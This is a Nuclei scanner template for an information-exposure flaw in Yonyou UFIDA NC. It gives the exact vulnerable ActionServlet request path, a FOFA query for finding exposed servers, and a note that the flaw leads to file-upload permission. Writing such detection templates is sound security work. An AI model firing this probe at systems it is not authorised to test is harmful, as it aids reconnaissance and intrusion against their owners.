id: yonyou-nc-info-leak

info:
  name: Yonyou UFIDA NC - Information Exposure
  author: SleepingBag945
  severity: medium
  description: |
    After logging in and visiting the address where the information was leaked, you will have permission to upload files. Then just go back to the homepage and view the published content directly.
  reference:
    - https://mp.weixin.qq.com/s/Lu6Zd9LP3PQsb8uzTIcANQ
    - https://github.com/zhangzhenfeng/AnyScan/blob/master/AnyScanUI/AnyPoc/data/poc/bugscan/exp%EF%BC%8D2311.py
  classification:
    cpe: cpe:2.3:a:yonyou:ufida-nc:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: yonyou
    product: ufida-nc
    fofa-query: app="用友-UFIDA-NC
  tags: yonyou,nc,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/service/~iufo/com.ufida.web.action.ActionServlet?TableSelectedID&TreeSelectedID&action=nc.ui.iufo.release.InfoReleaseAction&method=createBBSRelease"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "iufo/web/images/usericon.gif"
          - "/iufo/web/images/tree/tree_plus.gif"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450220159153cf34b5a9dab3bd0d3bb0675de82b7f7eebd1dac287f500d01fb3de305d022100f50b5a5dec72d6148fd98c0556df2fae26b23d8ff7c03166dd069ab9bd07a806:922c64590222798bb761d5b6d8e72950